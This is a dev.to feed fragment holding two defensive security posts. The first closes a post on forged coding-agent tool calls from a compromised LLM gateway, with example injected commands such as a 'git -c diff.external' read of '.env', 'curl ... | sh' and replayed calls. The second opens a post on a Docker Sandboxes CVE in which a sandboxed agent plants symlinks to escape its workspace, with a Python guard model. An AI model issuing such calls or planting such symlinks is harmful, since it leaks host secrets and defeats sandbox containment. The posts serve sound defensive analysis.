&lt;pre class="highlight plaintext"&gt;&lt;code&gt;injected call                                              prefix allowlist  argv-aware allowlist   provenance MAC
git -c diff.external=... diff --no-index /dev/null .env              passes               BLOCKED          BLOCKED
git -c core.fsmonitor=... status                                     passes               BLOCKED          BLOCKED
git diff --output=... (file write)                                   passes               BLOCKED          BLOCKED
curl ... | sh (no approved prefix)                                 BLOCKED               BLOCKED          BLOCKED
git log -p (allowed shape, reads history)                            passes                passes          BLOCKED
replay of a signed 'git status' in turn 8                            passes                passes          BLOCKED

prefix allowlist       blocked 1/6 injected, falsely blocked 0/4 legit
argv-aware allowlist   blocked 4/6 injected, falsely blocked 0/4 legit
provenance MAC         blocked 6/6 injected, falsely blocked 0/4 legit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522git%2520-c%2520diff.external%2522%252C%2522git%2520-c%2520core.fsmonitor%2522%252C%2522git%2520diff%2520--output%2522%252C%2522curl%2520%257C%2520sh%2522%252C%2522git%2520log%2520-p%2522%252C%2522replayed%2520signed%2520call%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Guards%2520that%2520block%2520it%2520%2528of%25203%2529%2522%252C%2522data%2522%253A%255B2%252C2%252C2%252C3%252C1%252C1%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523f0ad4e%2522%252C%2522%2523f0ad4e%2522%252C%2522%2523f0ad4e%2522%252C%2522%25232e7d32%2522%252C%2522%2523d9534f%2522%252C%2522%2523d9534f%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522How%2520many%2520of%2520the%25203%2520guards%2520stop%2520each%2520forged%2520call%2522%252C%2522fontSize%2522%253A20%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A3%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522git%2520-c%2520diff.external%2522%252C%2522git%2520-c%2520core.fsmonitor%2522%252C%2522git%2520diff%2520--output%2522%252C%2522curl%2520%257C%2520sh%2522%252C%2522git%2520log%2520-p%2522%252C%2522replayed%2520signed%2520call%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Guards%2520that%2520block%2520it%2520%2528of%25203%2529%2522%252C%2522data%2522%253A%255B2%252C2%252C2%252C3%252C1%252C1%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523f0ad4e%2522%252C%2522%2523f0ad4e%2522%252C%2522%2523f0ad4e%2522%252C%2522%25232e7d32%2522%252C%2522%2523d9534f%2522%252C%2522%2523d9534f%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522How%2520many%2520of%2520the%25203%2520guards%2520stop%2520each%2520forged%2520call%2522%252C%2522fontSize%2522%253A20%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A3%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" alt="Bar chart: how many of the three guards stop each forged call" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Three things to read from this, with the limits stated plainly.&lt;/p&gt;

&lt;p&gt;First, the prefix allowlist is the weakest guard because it matches the one part of the string an attacker controls for free. Second, the argv-aware allowlist is the right fix for the command-shape problem, and it cost nothing on the legitimate calls in my set. But it is a denylist inside an allowlist, and git has many options. I would not claim my deny list is complete. Third, only the provenance check stops the calls that look perfectly fine, such as &lt;code&gt;git log -p&lt;/code&gt; (which can read secrets committed long ago) and a replayed legitimate call. That check does not judge the command at all. It judges who sent it.&lt;/p&gt;

&lt;p&gt;What the model does not show: whether a provenance signature is practical in a real deployment. The signer has to be something the gateway cannot impersonate, such as the model endpoint you operate, a provider that signs responses, or a sidecar you attest. I am not aware of a mainstream coding-agent setup that offers this today, and a signature only proves the call was not altered in transit. It does not prove the model's decision was wise. Treat the third column as a design target, not a product.&lt;/p&gt;

&lt;h2&gt;
  
  
  What should you change this week?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stop approving by prefix.&lt;/strong&gt; Approve parsed argv shapes. Deny configuration injection flags for tools that execute helpers: &lt;code&gt;git -c&lt;/code&gt;, &lt;code&gt;--ext-diff&lt;/code&gt;, &lt;code&gt;--exec-path&lt;/code&gt;, and similar options in other CLIs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Put the gate at execution time.&lt;/strong&gt; Do the check in the process that will actually spawn the command, after every hop that can edit the call, not in a prompt that renders text the gateway can influence.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat your gateway as part of the trust boundary.&lt;/strong&gt; Pin versions and digests of LiteLLM-style proxies and inference servers, restrict who can change their config, and log tool calls on the harness side so the harness record can be compared with the provider's request log.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep secrets out of reach of read-only tools.&lt;/strong&gt; The injected read had value because &lt;code&gt;.env&lt;/code&gt; was readable. Remove what an injected call could exfiltrate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Add a replay check.&lt;/strong&gt; Bind each approval to a turn and call index so a valid call cannot be re-sent later.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is a "man-in-the-model" attack?&lt;/strong&gt;&lt;br&gt;
An attacker controls a system between an agent harness and its LLM, such as an inference server or gateway, and rewrites the traffic. The harness receives tool calls the model never made and treats them as the model's decisions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does a human approval prompt stop it?&lt;/strong&gt;&lt;br&gt;
Not reliably. If the forged command matches an already-approved prefix, there is no prompt. If it needs approval, the gateway can still make the command look routine by burying a small change in a long pipeline, and the write-up shows it removing the evidence from the history.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is &lt;code&gt;git -c diff.external&lt;/code&gt; a vulnerability in git?&lt;/strong&gt;&lt;br&gt;
No. It is documented behavior and I reproduced it on git 2.53.0 with a harmless marker command. The risk comes from authorizing a command by its first word while the tool can launch other programs through options.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How is this different from prompt injection?&lt;/strong&gt;&lt;br&gt;
Prompt injection changes what the model decides. This attack changes what the harness receives, so a perfectly aligned model with a perfect system prompt still cannot prevent it. The CoreBreak CVEs have the same property: the model never made the decision.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Would signing tool calls fix everything?&lt;/strong&gt;&lt;br&gt;
No. It closes the forgery and replay holes, but a legitimately signed call can still be a bad idea. Keep argument-level policy, least privilege and sandboxing as separate layers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;Earlier posts in this series:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One Check, Four Paths: What the Docker Sandboxes sbx cp Symlink Bug Teaches About Guarding Every Position (published 2026-11-08, same series)&lt;/li&gt;
&lt;li&gt;Authenticated Is Not Authorized: What a 9.3 Fail-Open Default in an Agent Mesh Teaches About Tool Gating (published 2026-11-02, same series)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;HiddenLayer, "Man-in-the-Model" research on LLM gateway attacks against coding agents (Tonglet, Divyanshu, Schulz, 2026-10-22): &lt;a href="https://www.hiddenlayer.com/research/blog-llm-gateway-coding-agent-security" rel="noopener noreferrer"&gt;https://www.hiddenlayer.com/research/blog-llm-gateway-coding-agent-security&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Cloud Security Alliance Labs, CoreBreak research note, "When the Model Never Runs: Agent Guardrail Bypasses" (2026-08-06): &lt;a href="https://labs.cloudsecurityalliance.org/research/csa-research-note-agent-infra-guardrail-bypass-20260806-csa/" rel="noopener noreferrer"&gt;https://labs.cloudsecurityalliance.org/research/csa-research-note-agent-infra-guardrail-bypass-20260806-csa/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Local reproduction: git 2.53.0 (&lt;code&gt;diff.external&lt;/code&gt;, &lt;code&gt;core.fsmonitor&lt;/code&gt;, &lt;code&gt;--no-ext-diff&lt;/code&gt;, &lt;code&gt;--output&lt;/code&gt;), scratch directory, harmless marker commands only&lt;/li&gt;
&lt;li&gt;Illustrative guard model: author's own script, six forged calls and four legitimate calls, not a benchmark of any product&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>security</category>
      <category>llm</category>
    </item>
    <item>
      <title>One Check, Four Paths: What the Docker Sandboxes sbx cp Symlink Bug Teaches About Guarding Every Position</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Sun, 08 Nov 2026 14:23:44 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/one-check-four-paths-what-the-docker-sandboxes-sbx-cp-symlink-bug-teaches-about-guarding-every-jk7</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/one-check-four-paths-what-the-docker-sandboxes-sbx-cp-symlink-bug-teaches-about-guarding-every-jk7</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;CVE-2026-103916 is a symlink escape in the &lt;code&gt;sbx cp&lt;/code&gt; command of Docker Sandboxes (CWE-59). A sandboxed agent plants a symlink inside the shared workspace, and a later, user-initiated copy reads or writes a host file outside it.&lt;/li&gt;
&lt;li&gt;Affected: versions 0.28.0 up to but not including 0.51.0. Fixed in 0.51.0, released November 3, 2026. An earlier fix scheduled for 0.48.0 (October 13) was incomplete, according to the Endor Labs write-up.&lt;/li&gt;
&lt;li&gt;The root cause is a coverage problem, not a missing idea. The &lt;code&gt;-L&lt;/code&gt; style protection covered the final component of the copy-in source, which leaves three of four symlink positions unguarded.&lt;/li&gt;
&lt;li&gt;I built a small runnable model of the bug class. A guard on one position blocks 1 of 4 escapes. A guard that walks every component blocks all 4.&lt;/li&gt;
&lt;li&gt;The lesson for anyone building agent gates: a control is only as strong as the number of positions it covers, so enumerate the positions before you declare the gate done.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What actually happened in CVE-2026-103916?
&lt;/h2&gt;

&lt;p&gt;Docker Sandboxes runs coding agents in isolated environments and shares a workspace directory between the host and the sandbox. The &lt;code&gt;sbx cp&lt;/code&gt; command copies files between the two. The CVE description says the command does not safely confine host-side paths to the shared workspace. A malicious sandbox can create or replace a workspace symlink so that a later user-initiated copy either reads a host file outside the workspace into the sandbox, or writes sandbox-controlled data to a host path outside the workspace, with the invoking user's permissions.&lt;/p&gt;

&lt;p&gt;Two details matter for threat modeling.&lt;/p&gt;

&lt;p&gt;First, the agent does not run the dangerous command. It only prepares the filesystem. The operator then runs a perfectly ordinary &lt;code&gt;sbx cp&lt;/code&gt; against what looks like an approved path. That makes the operator the confused deputy: they hold the authority, the agent supplies the poisoned input, and the tool never checks that the two line up.&lt;/p&gt;

&lt;p&gt;Second, the severity is high but not exotic. Endor Labs, whose researcher Peyton Kennedy found the bug, reports CVSS 3.1 of 8.2 with a vector that requires local access, low privileges and user interaction. Other listings show 8.4, so treat the exact number as listing-dependent and the "high" band as the stable fact.&lt;/p&gt;

&lt;p&gt;Sources: the &lt;a href="https://www.endorlabs.com/learn/docker-sandboxes-vulnerability-lets-ai-agents-access-sensitive-files-outside-their-sandbox-cve-2026-103916" rel="noopener noreferrer"&gt;Endor Labs write-up&lt;/a&gt; and the &lt;a href="https://vulners.com/rapid7/RAPID7:CVE-2026-103916" rel="noopener noreferrer"&gt;Rapid7 entry in the Vulners database&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why did a fix ship and still leave the hole open?
&lt;/h2&gt;

&lt;p&gt;This is the part worth studying. The timeline in the Endor Labs report goes like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An earlier finding, CVE-2026-17106 (fixed in 0.38.0), was a destination escape through archive paths. The containment fix for it did not address copy-in source paths.&lt;/li&gt;
&lt;li&gt;A fix for the newer finding was scheduled for 0.48.0 on October 13, 2026, but it was incomplete.&lt;/li&gt;
&lt;li&gt;The complete fix landed in 0.51.0 on November 3, 2026. That release makes &lt;code&gt;sbx cp&lt;/code&gt; block symbolic links in mounted directories from escaping onto other host paths.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The report breaks the surface into four symlink positions. The &lt;code&gt;-L&lt;/code&gt; flag protected only the final path component during copy-in. The other three were open:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Position&lt;/th&gt;
&lt;th&gt;Guarded before 0.51.0?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Copy-in source, last component&lt;/td&gt;
&lt;td&gt;Yes (the &lt;code&gt;-L&lt;/code&gt; check)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copy-in source, parent component&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copy-out destination, last component&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copy-out destination, parent component&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522doughnut%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Positions%2520guarded%2520by%2520the%2520-L%2520style%2520check%2520%25281%2529%2522%252C%2522Positions%2520left%2520open%2520%25283%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522data%2522%253A%255B1%252C3%255D%252C%2522backgroundColor%2522%253A%255B%2522%25232e7d32%2522%252C%2522%2523d9534f%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522CVE-2026-103916%253A%2520guarded%2520symlink%2520positions%252C%2520as%2520reported%2520by%2520Endor%2520Labs%2522%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522doughnut%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Positions%2520guarded%2520by%2520the%2520-L%2520style%2520check%2520%25281%2529%2522%252C%2522Positions%2520left%2520open%2520%25283%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522data%2522%253A%255B1%252C3%255D%252C%2522backgroundColor%2522%253A%255B%2522%25232e7d32%2522%252C%2522%2523d9534f%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522CVE-2026-103916%253A%2520guarded%2520symlink%2520positions%252C%2520as%2520reported%2520by%2520Endor%2520Labs%2522%257D%257D%257D" alt="Doughnut chart: one of four symlink positions guarded" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That table is the whole story. A symlink can sit at the leaf, or at any directory above the leaf, and it can sit on the source side or the destination side of a copy. Two sides times two kinds of position gives four. A fix that handles the case someone happened to demonstrate, and not the shape of the problem, will keep failing in the neighbouring cell.&lt;/p&gt;

&lt;h2&gt;
  
  
  How can you model this bug class without Docker?
&lt;/h2&gt;

&lt;p&gt;You do not need the product to understand the failure. The model below creates a workspace, a "host secret" directory outside it, and an attacker-controlled payload file. It then tries all four positions against two guards. The partial guard refuses a symlink at the final component of the copy-in source and nothing else. The full guard walks every component of the path from the workspace root and also checks that the resolved path stays inside the root.&lt;/p&gt;

&lt;p&gt;This is my own model of the bug class. It is not Docker's code, and it does not claim to reproduce their implementation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shutil&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inside&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guard_final_only&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;islink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;PermissionError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;final component is a symlink&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guard_all_components&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;rel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;relpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abspath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abspath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;cur&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abspath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sep&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;cur&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;islink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;PermissionError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;symlink at &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;inside&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;PermissionError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;resolves outside root&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;copy_in&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;guard&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;guard&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;shutil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;copyfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;copy_out&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;guard&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;guard&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;shutil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;copyfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The harness builds each scenario in a temporary directory. For example, the copy-in parent case plants &lt;code&gt;workspace/vendor&lt;/code&gt; as a symlink to the directory that holds the secret, then asks for &lt;code&gt;workspace/vendor/creds.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;symlink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outside&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;vendor&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
